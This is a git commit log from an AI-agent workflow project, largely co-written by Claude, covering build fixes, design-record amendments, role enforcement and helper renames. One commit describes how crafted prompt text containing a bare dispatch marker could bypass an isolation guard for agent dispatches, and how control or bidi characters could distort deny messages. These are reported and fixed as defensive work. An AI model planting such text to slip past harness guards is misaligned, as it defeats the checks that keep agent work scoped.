* fix(#3829): keep the embedded record-builder inside a Windows command line

Block 2 runs the disposition record-builder as `node -e "<script>"`, so the entire
script is a single argv entry. Windows caps a command line at 32767 characters
(CreateProcess) and Node surfaces the overflow as ENAMETOOLONG from spawn -- the
process never starts. Linux's ~2 MB ARG_MAX cannot see that cliff at all.

The previous fix (bd83bc88e, hoisting the shortfall derivation above the earlier
exit) grew the extracted script from 31941 to 33353 characters. There were 826
characters of headroom; it spent 1412. On the next CI run ubuntu and macOS stayed
green and `conformance test (windows-latest, 24, shard 1/3)` went red with 83
failures -- 79 reporting `spawn_failed` out of runShippedDisposition, the other 4
asserting on a ledger that was never written. That same shard was SUCCESS at
596968aa0, the head before that commit.

Measured on native Windows (node v25.2.1), bisected: the largest `-e` argument that
still spawns is 32728 characters; 32729 fails. Both payloads driven directly:

    pre-fix   33353 chars  ->  SPAWN-FAIL ENAMETOOLONG
    post-fix  15916 chars  ->  SPAWN-OK

Note the shape of it: the fix that makes this gate report a silently-dropped finding
was itself silently dropped on Windows, because the whole script stopped launching.

What changes here is placement -- not content, not behaviour. 17 long rationale
comment blocks move out of the quoted payload into a new "Design notes for the
embedded record-builder" section in this file's prose, each anchored to the code line
it preceded so the pairing survives the move. Comment runs shorter than five lines
stay inline, where adjacency is cheap. Nothing is deleted.

    extracted script  33353 -> 15916 chars (16812 under the measured limit)
    executable code   byte-identical at 10853 bytes, verified by diffing the payload
                      with all comment lines stripped from both sides
    this file         78542 -> 79538 bytes -- the prose moved, it did not grow

Verified green: this PR's own test file at 250 tests across all 36 suites, 0 fail;
changeset-lint, docs-lint, default-flip-documentation, lint:ci, gen-emitted-baseline,
workflow-size-budget (133 tests), and lint-workflow-shellcheck (204 pre-existing
findings, 0 new).

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01SfaJkgoq87837ZqWtTxqqn

* test(#3829): pin the embedded script under the Windows command-line budget

Nothing guarded the size of the `node -e` payload, so the regression the previous
commit fixes was invisible to every Linux gate and surfaced only as 83 Windows
failures that said `spawn_failed` and never mentioned length. Without a guard the
next addition to the script re-breaks Windows exactly the same way, and finds out
the same expensive way.

The test asserts the extracted script stays under a 24 KiB budget -- the 32767
CreateProcess cap less roughly 8 KiB of deliberate headroom, so the script has
somewhere to grow before this fires.

It is bounded from BELOW as well, and that half is the point: a pure length
assertion passes when the extractor returns '', which is exactly what a moved fence
or a renamed delimiter would produce. A guard that reports a comfortable 0 bytes is
the vacuous-oracle shape. The lower bound makes a broken extractor fail loudly here
instead of reporting success.

Negative-controlled rather than assumed. Against the PRE-fix step file the test goes
red on the real payload (33353 > 24576); against the fixed file it passes at 15916.
A new test that has only ever been run against fixed code can be green because it
hit a branch the bug never lived on.

This PR's own test file: 250 tests, 250 pass, 0 fail, 0 skipped, across all 36
suites.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01SfaJkgoq87837ZqWtTxqqn

* test(#3829): say what the command-line guard does not prove

The round review's MISSED, adopted. The guard counts the extracted JavaScript, but the
32767 cap applies to the whole serialized command line -- executable path, quoting and
backslash escaping included -- so a quote-heavy payload expands on the way out, and the
32728 figure it cites is one host's measured threshold rather than the CI runner's.

The budget is unchanged and still correct; only the claim around it moves. 24576 leaves
roughly 8 KiB for both effects, which is a practical margin, not a proof that everything
the guard admits will spawn. Stating that in the test is cheaper than having a future
reader infer a guarantee the assertion cannot make.

Comment-only. No assertion, no budget and no behaviour changes.

This PR's own test file: 221 tests, 0 fail.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01SfaJkgoq87837ZqWtTxqqn

---------

Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
Co-authored-by: Tom Boucher <trekkie@nomorestars.com>
2026-09-22 21:04:09 -04:00
Tom Boucher
fac0e9de86 docs(#4906): ADR-4910 amendment — a write refuses on a document with any unreadable node (#4913)
* docs(#4906): ADR-4910 amendment — a write refuses on a document with any unreadable node

§5 scoped the parse error to the node. That is correct for reads and was never
examined for writes.

§5 was reasoned entirely from #4899, a read bug. Node-scoping is right there: a
ragged Progress table must not make phase list and init.progress fail, because
those are the commands a user needs to see what to repair. But the rule was
stated unqualified, and it licensed something never considered — phase.complete
mutating a ROADMAP.md whose Progress table it could not read. A partial-view
write persists a wrong answer rather than merely returning one.

Amendment: reads stay node-scoped; a write refuses when ANY node in the document
carries a parse error, whether or not the mutation targets it. A reader answers a
bounded question from a bounded region; a writer asserts that the document it
emits is the document it read, and cannot make that assertion about a region it
could not parse. §3's byte-stability does not rescue it — splicing untouched
bytes faithfully is not the same as knowing they were consistent with the change.

Rejected: refusing only when the mutation's own target node is unreadable. It is
the appealing middle and it does not hold — phase.complete writes **Plans:**
while deriving that value from plan/summary counts in a different region. The
regions a write depends on are not statically the regions it touches.

Downstream: Phase 1 ships both scopes plus a hasUnreadableNodes predicate the
serializer consults; Phase 2 gains a new acceptance criterion (a refused write
leaves the file byte-identical on disk); Phase 4's census gains a second axis and
must publish both counts.

Appended as a dated section per docs/contributor-standards.md pattern 1 — the
original Decision body is unchanged.

Refs #4906
Refs #4910

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#4906): correct the amendment's motivating example and state the limit it exposes

An isolated review pass falsified the first draft's central example. The
correction is recorded in the amendment rather than quietly patched, because it
bounds what the rule can promise.

- The draft claimed phase.complete derives the value it writes into **Plans:**
  from a different REGION of the same document. It does not. planCount and
  summaryCount come from findPhaseInternal at src/phase.cts:3429-3434 — a
  filesystem scan of the phase directory. No PlanningDoc node holds them.
  That widens the dependency rather than narrowing it, and it makes an explicit
  limit necessary: a document-scoped write refusal protects the document's own
  consistency and says nothing about the correctness of a value sourced from
  outside the document. Recorded as a stated limit and named out of scope for
  this epic.

- The rejected alternative (refuse only when the mutation's own target node is
  unreadable) is re-grounded on two arguments that survive: it would almost
  never fire, since a verb locates the node in order to write it; and it guards
  something smaller than the operation performs, because serialization re-emits
  the whole file.

- §5's body names `phase list` as a consumer an unreadable Progress table would
  block. It is not one — cmdPhasesList (src/phase.cts:207) enumerates phases/
  and never opens ROADMAP.md. init.progress and roadmap.analyze are the real
  instances; the argument never needed three. §5's body left unmodified per the
  append-only rule, correction carried in the amendment, fold in at ratification.

- Clarified that the new WriteOutcome refusal sits on a different axis from §5's
  reserved document-level Result<PlanningDoc> parse failure, so no reader can
  conclude that reservation was reopened. A document can be valid to open and
  still refuse to be written.

Refs #4906
Refs #4910

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

---------

Co-authored-by: sim <sim@local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-09-21 00:17:10 -04:00
Tom Boucher
01dbda9c49 docs(#4910): ADR-4910 — the PlanningDoc parse → mutate → serialize seam — Phase 0 of #4906 (#4911)
* docs(#4910): ADR-4910 — the PlanningDoc parse → mutate → serialize seam — Phase 0 of #4906

Design lock for epic #4906. Docs-only; no production code lands here.

Eight decisions: one PlanningDoc seam composing markdown-sectionizer,
markdown-table and frontmatter as layers; node-replacement writes so a field
write cannot reach past its own value; byte-stable serialization for untouched
regions; escape-or-refuse shared between each artifact's writer and its reader,
with an explicit accepted-superset-of-emittable split; a typed parse error
scoped to the node rather than the document; a type-narrowed write boundary
paired with a lint; a positive control per accepted grammar; and one
implementation per shared pattern.

Two corrections to the epic's stated mechanism, both load-bearing for later
phases:

- The epic asks for a ratchet where a reintroduced content.replace() "does not
  typecheck". It cannot: fs.writeFileSync(p, s.replace(...)) typechecks fine
  because fs has never heard of PlanningDoc. Enforcement is type-narrowing plus
  a lint that owns the bypass, and the ADR says so rather than shipping a
  guarantee one require() defeats.
- The epic names scripts/lint-planning-artifact-writer-drift.cjs as the drain
  point. That script is a registry-completeness guard that states "No ratchet /
  no baseline" by design and never inspects how a write is performed. It is
  correct on its own axis and left untouched; the right home is
  local/no-adhoc-markdown-parsing.

ADR-2143's Phase 4 already shipped the table-regex and replace-mutation
detectors, so the ADR scopes the remaining gap precisely rather than asking for
that work twice: adhocReplaceMutation keys on a table-or-section regex, and
#4852's pattern is a bold-label field regex — which is why the defect sits in
src/phase.cts, a file the rule does lint, with lint:ci green.

Per docs/adr/README.md lifecycle rule 3, ADR-1372 and ADR-2143 are NOT given
the reciprocal `Subsumed by` back-link here: a Proposed ADR's Subsumes claim is
prospective, so its targets are not marked until ratification. Both back-links
land in the Phase 6 ratification PR. ADR index regenerated.

Refs #4906
Closes #4910

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#4910): apply review findings — link every ADR cross-reference and state the node-scoping interpretation

Three review passes ran against the ADR: an isolated adversarial fact-check of
every citation, and both axes of /code-review as separate sub-agents.

Standards axis (hard violation of docs/adr/README.md lifecycle rule 2): 14 bare
ADR-1372 / ADR-2143 / ADR-1411 references in body prose. gen-adr-index.cjs does
not catch this — its bare-id check runs only over relation-field values, never
body prose — so a green lint:generated-sync did not clear it. Every bare
cross-reference is now a file link; only the self-reference ADR-4910 remains
bare, which is not a cross-reference.

Spec axis: §5 scopes the parse error to the node, while #4906's criterion reads
"an unparseable shape surfaces could-not-parse with the offending span" with no
document-or-node qualifier. Both readings are faithful to that sentence and they
produce materially different Phase 1 and Phase 4 work. §5 now records the
distributive reading explicitly, names the document-scoped alternative, states
what it would cost (one bad table failing phase list and init.progress alongside
roadmap.analyze), and names what changes if the epic meant the other one. A
silent narrowing became a stated one.

Refs #4906
Closes #4910

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#4910): make each phase's acceptance a structural property, not a list of fixed issues

Phases 2-5 read as "fixes #4852, #4862, #4499" — a point-fix list with a seam
attached. That is the failure the epic names in its own words: "an
implementation that does that has not closed this epic, even with every symptom
gone and CI green."

New section "What makes a phase done" locks three criteria every phase carries:

- Census -> zero. A phase enumerates every instance of its anti-pattern in the
  tree, publishes the count in its PR, and closes when it is zero. Not "the
  reported ones".
- Deletion, not coexistence. Bespoke implementations are removed, not kept in
  sync beside the seam — including src/roadmap.cts:1196's three-arm
  planCountPattern, which is correct today and still goes, because a correct
  copy of a rule the seam owns is the two-copies-that-agree case.
- Unrepresentable by construction. Each phase ships one property that makes its
  class impossible rather than currently absent: a property over generated
  documents, a type that does not admit the wrong shape, or a drift guard.

The absorbed issues are demoted to fail-first regression evidence. A phase may
not close on those tests alone.

Each phase restated accordingly, with its own census / deletion /
unrepresentable / evidence breakdown.

The six community point-fix PRs and their issues were closed unmerged
(#4762/#4736, #4897/#4837, #4848/#4661, #4610/#4605, #4609/#4606,
#4530/#4499). The ADR now records that as executed rather than pending, which
is what lets census-to-zero be an acceptance criterion at all — a landed point
fix would make the tree look healthier than it is. Phase PRs reference those
six with Refs, since CONTRIBUTING forbids a closing keyword against an
already-closed issue.

Refs #4906
Closes #4910

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

---------

Co-authored-by: sim <sim@local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-09-20 23:47:33 -04:00
Tom Boucher
06845717fe feat(#4740): make the Loop Host Contract role partition normative and enforced (#4742)
* test(#4740): pin the per-step role-family partition

Failing-first coverage for the Loop Host Contract role partition. At this
commit crossCheckRoleFamilies does not exist, so the rows throw
"crossCheckRoleFamilies is not a function" -- the RED proof they bind to
behavior rather than restating it.

ADR-894 section 3 assigns roles per step but parenthesises the assignment as
"(illustrative roles)", and nothing enforced it. The only thing standing in the
way was a single deepEqual in this same file, which is editable prose.

Rows cover: each step's own family accepted; a strict subset accepted; a
foreign role rejected at every step; an unknown role rejected; an unknown step
failing CLOSED; capitalization not silently matched; every offending role
reported rather than only the first; and purity, because buildContract puts the
same array into the generated contract.

Two rows exist because an earlier cut of this suite was vacuous. The purity
fixture is deliberately UNSORTED -- an alphabetically-sorted fixture cannot
fail an in-place sort(), and the mutant was being killed by three unrelated
rows instead. A parity row asserts ROLE_FAMILY and ROLE_TO_AGENT cover the
exact same role-name domain, both directions: they are parallel constants over
one domain, so divergence is the generative-fix class CLAUDE.md names.

Every negative row asserts the offending ROLE NAME and the STEP NAME appear in
the message. A count-only assertion survives a mutant that reports the wrong
role, which the 80% Stryker gate would surface only after a full CI round-trip.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* feat(#4740): reject a cross-family agent-role declaration

Orchestration and execution are distinct functions of the loop and must not
drift into one another. That partition was real but unenforced: ADR-894
section 3 calls its own role assignment "illustrative", and the generator
accepted anything. Adding orchestrator to execute-phase.md's agent-roles line
compiled, --check passed once regenerated, and capability-validator.cjs then
began accepting into:"orchestrator" at every execute point.

ROLE_FAMILY maps every role to one of orchestration, planning or execution.
EXPECTED_FAMILY_BY_STEP gives each of the five steps exactly one family.
crossCheckRoleFamilies rejects a cross-family role, a role outside the
vocabulary, and an unknown step. It reports every offender, not the first.

It fails CLOSED on an unknown step, deliberately diverging from
assertPointsCoverage's "unknown step -- caught elsewhere". For points that is
true: the canonical-set and duplicate checks catch it. For roles there is no
second net, so failing open would leave an unknown step as the one input that
bypasses the gate.

crossCheckRoles' orchestrator exemption is untouched. ROLE_TO_AGENT maps roles
to agent FILES and the orchestrator is the host, owning none -- admissibility
and agent-file presence are separate concerns with separate checks.

Additive to section 3's existing rule that contribution.into must be a member
of the step's agentRoles, which is unchanged. That governs what a CAPABILITY
may target; this governs what a WORKFLOW may declare. No capability is
affected, and all five workflows already declare single-family sets, so the
gate is green on the commit that introduces it.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#4740): make the ADR-894 role assignment normative

Section 3 parenthesises its per-step role assignment as "(illustrative roles)".
That word was accurate about the list's PURPOSE -- it illustrated the shape of
a generated contract entry -- and wrong about its STATUS, because the
assignment was load-bearing from the moment the generator consumed it. Read
literally it makes the partition an example rather than a rule.

Appended as a dated in-place section per docs/contributor-standards.md, which
records that an accepted ADR is never rewritten and names this the default
pattern. Section 3's original body is untouched.

The amendment states the three disjoint families, the one family each step
admits, that a step may declare a strict subset but never outside it, and why
this is a clarification rather than a new decision: the contract is generated
from the workflow markers "so it cannot drift into a lie", and all five
workflows have always declared single-family sets. What was absent was any
statement that it is required, and any check that it holds.

It also pins the distinction that is easy to re-merge: contribution.into being
a member of agentRoles governs what a CAPABILITY may target and is unchanged;
the family rule governs what a WORKFLOW may declare. The CONTEXT.md glossary
entry for the Loop Host Contract records the same, beside the agent-reference
drift guard it already documented.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* chore(#4740): add changeset fragment

pr:0 placeholder is backfilled with the real number once the PR exists.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* chore(#4740): backfill changeset pr number

Replaces the pr:0 placeholder with 4742 now that the PR exists. Verified with
GITHUB_BASE_REF=next, the way CI runs them: changeset lint and lint:docs both
go from invalid_pr(0) to ok. Without that env both report success without
evaluating the branch at all.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#4740): stop injecting the orchestrator procedure into executors

claude-orchestration declared a contribution at execute:wave:pre with
into:"executor". loop-hook-dispatch.md defines a contribution as "inject
fragment.inline verbatim into the context for the role named in into", so its
267 lines were injected into EXECUTOR prompts whenever the capability was
enabled. Those lines are orchestration end to end -- construct a wave manifest,
resolve the dispatch backend, invoke the Workflow tool to spawn executors,
bridge per-agent results into the merge chain. An executor can act on none of
it.

Retargeting to into:"orchestrator" would not have been a fix. ROLE_TO_AGENT
carries no orchestrator entry by design: the orchestrator IS the host, and the
host's procedure lives in execute-phase.md. A step's agentRoles enumerates
agents a capability may inject context INTO, so adding orchestrator there would
model the host as an injectable agent -- the same category error pointed the
other way, and it would need an exception carved into the partition the same
issue just made normative.

So the defect is the mechanism, not the label. A contribution injects into an
agent's context; "replace step 3's inline dispatch loop" is a change to what
the HOST does. The contribution channel was serving as a host-behaviour
directive because it was the only channel available at an execute point.

The entry is removed. plan:post into:"planner" is correct and untouched. The
procedure is preserved verbatim at docs/workflow-backend-dispatch.md inside the
capability -- it is the only copy in the repo -- and is no longer injected
anywhere.

Consequence, not softened: the Workflow backend now has no loop wiring.
Detection, emission and config remain and the design is intact, but nothing
dispatches it. Under the separation ADR-1143 itself asserts it never had a
legitimate channel; ADR-1143's own audit already records the end-to-end path
has never been exercised. Wiring it properly needs a host-level mechanism that
does not exist today.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#4740): invert the stale execute:wave:pre registry assertions

Removing the contribution left four surfaces asserting or describing the old
state. Caught by an isolated review before a verification run was spent, which
is the point of reviewing first: the first of these was a guaranteed CI red.

execute-wave-post-gate-pipeline-e2e asserted against the REAL generated
registry that byLoopPoint['execute:wave:pre'] held exactly one contribution
with capId claude-orchestration. It now holds zero. Inverted to assert exactly
0 -- not a vague >= 0 -- and the #2285 comment above it now explains the
current state rather than the one it was written for.

CONTEXT.md's Claude Orchestration entry claimed two contributions at wired
points. It is now one, and the entry's execute:wave:post label was already
wrong before this change: the manifest said execute:wave:pre. Rewritten to one
plan:post contribution, why the execute-point one was removed, and where the
procedure now lives.

One assertion in claude-orchestration.test.cjs could not fail. It tested for
the prose "(into the executor)" while the doc says "(`into: executor`)", so no
plausible wording matched it and the paired plan:post assertion was carrying
the row. Replaced with a check on the structural claim, and proved RED by
restoring the two-contribution wording before reverting.

The moved procedure keeps section headings that speak as a live contribution --
"When this contribution is active", "Why execute:wave:pre". Preserving the body
verbatim was deliberate, so the headings stay and an editor's note under the
header explains why they read that way.

A sweep of all 17 files referencing byLoopPoint found no further siblings: the
remaining hits are a synthetic capability fixture and an empty-points test that
already expected no active hooks, both correct before and after.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

---------

Co-authored-by: sim <sim@local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-09-14 18:30:47 -04:00
Tom Boucher
b647e28313 chore(#4727): name the tool-conversion helpers for the runtime that uses them (#4732)
* chore(#4727): name the tool-conversion helpers for the runtime that uses them

GSD has had no Gemini runtime since #1928 removed it (Google sunset Gemini CLI
on 2026-06-18, shipped 1.8.0), yet two helpers were still named for it:

  claudeToGeminiTools    -> claudeToAntigravityTools
  convertGeminiToolName  -> convertAntigravityToolName

The sole consumer is convertClaudeAgentToAntigravityAgent, whose own comment
read "Map tools to Gemini equivalents (reuse existing convertGeminiToolName)".
Nothing named Gemini consumes them, because nothing named Gemini exists. The
new names follow the convention the file already sets with its neighbouring
Copilot pair, claudeToCopilotTools / convertCopilotToolName.

Zero behavior change. Every mapped VALUE is byte-identical, deliberately:

  read_file, write_file, replace, run_shell_command, glob,
  search_file_content, google_web_search, web_fetch, write_todos

Those are Gemini's built-in tool dialect and Antigravity genuinely speaks it.
This rename covers only the identifiers, which are the one part of the surface
that was GSD's choice rather than Google's contract.

Renamed in BOTH copies. CLAUDE.md labels bin/install.js "(generated)", but no
script emits it -- build:lib is tsc -p tsconfig.build.json and writes only
gsd-core/bin/lib/**. These converters are the #1099/#1173/#1182 situation: they
were extracted into src/runtime-artifact-conversion.cts while bin/install.js
kept its own working inline copies, so each symbol existed twice in two
independently hand-maintained files. Renaming one would have left two names for
one concept. Verified first that no capability descriptor resolves either by
name -- antigravity's descriptor names only convertClaudeCommandToAntigravitySkill
and convertClaudeAgentToAntigravityAgent, neither of which moved.

Comments keep their reasoning and their issue refs (#3362 AskUserQuestion,
#1394 Skill/SlashCommand); only the subject is corrected, from "Gemini CLI" to
Antigravity speaking the Gemini dialect. Those describe the dialect's behavior,
which is still Antigravity's behavior, so deleting them would destroy the record
of two real bugs.

docs/research/gemini-to-antigravity-migration.md is left unedited and carries a
dated addendum instead: it is pinned to c0b2a05d2f and quotes #1928's commit
message verbatim, so rewriting a citation to match a later tree would falsify a
primary source. ADR-1593's dimension-3 row is updated, because that table is a
present-tense index of which helper implements each dimension and would
otherwise name a symbol that no longer exists.

Coverage: the module is the only export surface -- bin/install.js exports none
of these four, its inline copies being module-private -- so the new assertion
targets gsd-core/bin/lib/runtime-artifact-conversion.cjs and checks the new keys
present, the old keys absent (no alias left behind), deepStrictEqual on the whole
map so an added or removed key fails, and each excluded input individually. The
installer's inline copy stays covered behaviorally by the existing test that
imports convertClaudeAgentToAntigravityAgent from bin/install.js.

Phase 4a of epic #4709. Refs #4727

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* chore(#4727): fix three review blockers — ADR append-only, honest verdict, changeset

The isolated adversarial review returned BLOCK on three majors. All three were
right and all three are fixed here.

1. ADR-1593 was amended IN PLACE, violating docs/adr/README.md:5: "ADRs are
   append-only. Amendments extend existing ADRs with a dated section rather
   than replacing them." The dimension-3 row is restored to its original text
   and a dated "Amendment — 2026-09-14 (#4727)" section is appended instead.
   Worse than the policy breach: the previous commit applied OPPOSITE rules to
   two docs in one change, freezing the research doc's citations while
   rewriting the ADR's. Both now follow append-only.

2. The research-doc addendum claimed "the rename recommended in the PRESERVE
   table has landed" and that the "PRESERVE — trap" verdict "still holds".
   Neither is true. §2(c) is headed "MUST NOT be renamed" and the §6 table
   files both symbols under (c). The rename OVERTURNS that verdict, and the
   addendum now says so in those words: it is a NARROWING of (c), whose real
   subject is what Google owns -- the directories, the dialect, GEMINI.md, the
   model ids, and for these two symbols the mapped VALUES, which stay
   byte-identical. What (c) had swept in with them were two GSD-chosen
   identifiers no external contract references. Claiming endorsement from a
   verdict that forbade the change was the actual defect; the substantive
   argument was always sound.

   The addendum also now names the two superseded rows (~:55, ~:136) so a
   later reader is not misled, and discloses that §2(a)'s verbatim quotation
   (~:40) no longer matches its source: it reproduces the test docblock's old
   "convertGeminiToolName" wording, and #4727 reworded that docblock. The
   docblock had to move -- leaving it would make the #1928 guard describe a
   symbol that does not exist -- so the mismatch is disclosed rather than
   papered over by editing the quote, which is the one thing the addendum
   exists to avoid.

3. no-changelog was the wrong call. scripts/changeset/lint.cjs reports
   fail_missing_fragment because the diff touches src/ and bin/, and
   CONTRIBUTING.md:216 states src/ edits are user-facing "even though the
   generated .cjs is gitignored", with :224 adding "When unsure whether a
   change is user-facing, add the fragment." Confirmed concretely: gsd-core is
   in package.json's files array so the compiled module ships, and there is no
   exports map, so a consumer's deep require of
   gsd-core/bin/lib/runtime-artifact-conversion.cjs resolved
   .convertGeminiToolName before this change and gets undefined after. A
   Changed fragment is added. I had asserted "nothing user-facing" without
   running the repo's own changeset lint; the reviewer ran it.

Two review findings are accepted and recorded rather than fixed, both in the
research addendum's new §8: the bin/install.js half of the rename is
test-unprotected (that file exports none of the four identifiers and the export
audit asserts undefined for both spellings, so reverting it breaks no test --
its behavior is covered, its naming is not), and closing that needs the
repo-wide drift guard, which is #4729 and the last phase of the epic for
precisely this reason.

Refs #4727

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* chore(#4727): backfill changeset pr number to 4732

Refs #4727

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* test(#4727): assert both halves of the windsurf pre-write guard's contract

PR #4732's `conformance test (windows-latest, 24, shard 2/3)` failed on exactly
one assertion, and the base branch was green, so this is not inherited:

    tests/windsurf-hooks-bridge.test.cjs:104
    expected exit 2, got 0
    stderr: gsd-windsurf-pre-write: git probe 'git rev-parse --show-toplevel (cwd)' …
    duration_ms: 2909

Root cause, not a flake. hooks/gsd-windsurf-pre-write.js gives every git probe a
2000 ms budget (SPAWNOPT.timeout) and FAILS OPEN when a probe cannot run — its
own header states that outright, because "a hook bug must never wedge Cascade".
hooks/lib/git-probe.js (#3911) exists precisely because that budget is routinely
exceeded in CI; its header records a macOS run landing at 2084/2112/2177 ms,
just past the budget, and its reportIfUndetermined() announces the case on
stderr while deliberately changing no exit code.

So the hook has TWO documented outcomes:

  (a) probe resolved and the file's git root differs  -> BLOCK, exit 2
  (b) probe UNDETERMINED (timeout / spawn failure)   -> FAIL OPEN, exit 0,
                                                         announced on stderr

G1 and G1b asserted `status === 2` unconditionally, encoding only (a). They
therefore fail whenever the documented (b) occurs, which makes them
load-sensitive by construction. My diff did not touch that hook or its tests;
it re-packed the Windows chunks (6 -> 8 under #4737's derived cap), which raised
load enough to tip the 2 s budget and expose the latent assertion.

Both tests now branch on whether the hook ANNOUNCED an undetermined probe, and
assert the correct half in each case. This is not a loosened assertion:

  - undetermined -> exit 0 is REQUIRED. That arm still has teeth, because it
    fails if the hook ever blocks on a probe it could not determine, which is
    the dangerous direction — wedging the agent on a hook bug.
  - determined   -> the original exit 2 plus the original stderr-reason regex,
    unchanged.

The matcher is tied to reportIfUndetermined's exact message rather than a loose
/git probe/, and was proven against both strings: it matches the real
undetermined diagnostic and does NOT match a normal block message. No retry, no
sleep, no timing-dependent logic.

Deliberately NOT done: raising the hook's 2000 ms budget. That is forbidden here
without an explicit instruction, and it would only move the cliff rather than
fix the test's false premise.

Scope note: this is a test fix in a file unrelated to the rename, carried here
because it is what makes #4732 red. CLAUDE.md's no-deferral rule is explicit
that a defect found anywhere in the tree is fixed in the current change, and
that it overrides one-concern-per-PR.

Refs #4727

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

---------

Co-authored-by: sim <sim@local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-09-14 15:11:27 -04:00
Tom Boucher
c0b2a05d2f fix(#4594): one canonical dispatch-identity owner — the emitted format and the parser that reads it back (#4693)
* fix(#4594): give dispatch identity one owner for the emitted format and its parser

The isolation guards decided whether a run-scoped sentinel applied to a
dispatch by regex-scraping model-authored prose. The scrape returned values in
a different namespace from the ones the sentinel records, so the comparison
could never succeed:

  sentinel  { phase: "03", plan: "03-02-hardening" }   <- $PHASE_NUMBER / $plan_id
  prose     "Execute plan 02 of phase 03-auth."
  scraped   { phase: "03-auth.", plan: "02" }          <- greedy (\S+), both wrong

#4594 reports only the phase half. Measured against a real phase-plan-index
run, plans[].id is phase-prefixed, plan-numbered AND slugged, while the prose
carries a bare in-phase plan number — so the plan field mismatches too, and the
Claude path is dead rather than latent. A fresh sentinel was therefore
discarded on every executor dispatch and every legitimate ISOLATION=none
degrade was denied, leaving the work unrun.

hooks/lib/dispatch-identity.js is now the single owner of both halves. The two
prompt-body producers emit a canonical marker carrying the same shell values
the sentinel records, so producer and consumer agree by construction. The prose
frame stays as a fallback, bounded by the phase-token grammar ADR-2121 owns and
deliberately reporting no plan — an absent identifier means "cannot compare"
and is safe; a wrong one is a false mismatch and is not.

The prose sentence itself is byte-identical: the executor agent reads it too,
so the marker is purely additive (Hyrum's Law).

An inapplicable sentinel is now named in the guards' deny reason instead of
being dropped silently — the silence is why this survived three producers and
two consumers unnoticed. Interpolated values come from a sentinel file and from
prompt text, so both are length-bounded and stripped of control characters.

ADR-4630 locks the seam and maps the epic's three phases.

Refs #4630
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#4594): resolve eight review findings across the dispatch-identity seam

Three orthogonal review engines ran on 43418af144 — the code-review skill's
Standards and Spec axes, and an isolated adversarial security pass — plus a
self-review of the committed diff. Every finding is fixed here; none deferred.

F1 (major, reproduced). A keyless or unknown-key-only marker — the literal
"[gsd:dispatch]" or "[gsd:dispatch run=..]" — matched the marker grammar and
returned source:'marker' with both fields null, suppressing the prose fallback
entirely. Any prompt text containing that literal silently disabled identity
narrowing, so a fresh sentinel applied to a dispatch it was never scoped to,
defeating #3045 SECURITY F2. Prompt text is attacker-influenceable. A marker
that yields neither recognized key is no longer a marker: the scan continues to
later markers, then later texts, then prose. Forward-compatible tolerance of
unknown keys is unchanged.

F2/F3 (major). The first cut duplicated sanitizeForReason,
describeSentinelDiscard and REASON_INTERPOLATION_MAX_LEN byte-for-byte across
both guards — the exact defect class this epic exists to delete, and with no
cold-load justification, since both hooks already require hooks/lib/. They now
live in hooks/lib/isolation-deny-reason.js, and buildSentinelDiscard lives in
isolation-sentinel.js beside the comparison it mirrors, returning the nested
{sentinel:{phase,plan}, dispatch:{phase,plan}} shape instead of a bespoke
four-field bag that renamed the pairs already flowing through the seam.

F4 (hard violation). The visibility test asserted on the deny reason's prose.
CONTRIBUTING.md prohibits raw text matching on hook output, which is why every
deny carries a stable reason_code. The discard is now a structured
sentinel_discarded field on each hook's stdout JSON, and the test asserts that;
the sentence stays for the operator but is no longer the contract.

F5 (hard violation). The 64-character truncation limit had no boundary
coverage. 63/64/65 are now exercised against the single consolidated helper.

F6 (minor). sanitizeForReason stripped C0/C1 controls but not U+2028/U+2029 or
the bidi overrides, so a crafted value could still reflow or reverse the
message. Both classes are stripped, with a test each.

F7 (major). The producer/template parity test was vacuous — it rendered a
marker and re-parsed its own output, and would have passed with both templates
deleted. It now reads the two workflow templates, extracts each marker line,
substitutes the measured values and asserts the owner's parser returns them.
Proven red by deleting one template's marker line before being proven green.

F8 (doc). ADR-4630 and the design notes claimed the marker is guaranteed on the
orchestrator-worktree path because that prompt is built in shell. It is not:
executor-isolation-dispatch.md:131 says plainly that those are template
placeholders, not shell variables, so {plan_id} is model-substituted there too.
A false guarantee in a design lock is worse than a stated limit. Both documents
now say the marker is model-substituted on both paths and that the prose
fallback is the real floor everywhere. The "3 workflow templates" count was
also wrong — 3 prose sites across 2 files, 2 of which carry the marker.

Refs #4630
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* chore(#4594): refresh the compact-content baseline and acknowledge execute-phase.md growth

Refs #4630.

The dispatch-identity marker and its substitution note grew
gsd-core/workflows/execute-phase.md by 525 bytes (91846 -> 92371), which drifts
two real-tree guards that lint:ci does not run:

- tests/benchmark-compact-content.test.cjs asserts the committed baseline is
  "up to date"; the split for execute-phase.md moved off 25827 -> 25952 and on
  23576 -> 23701, taking its compaction reduction 8.72% -> 8.67%. Baseline
  regenerated with scripts/benchmark-compact-content.cjs --write.
- tests/emitted-attribution.test.cjs requires a growth acknowledgment trailer
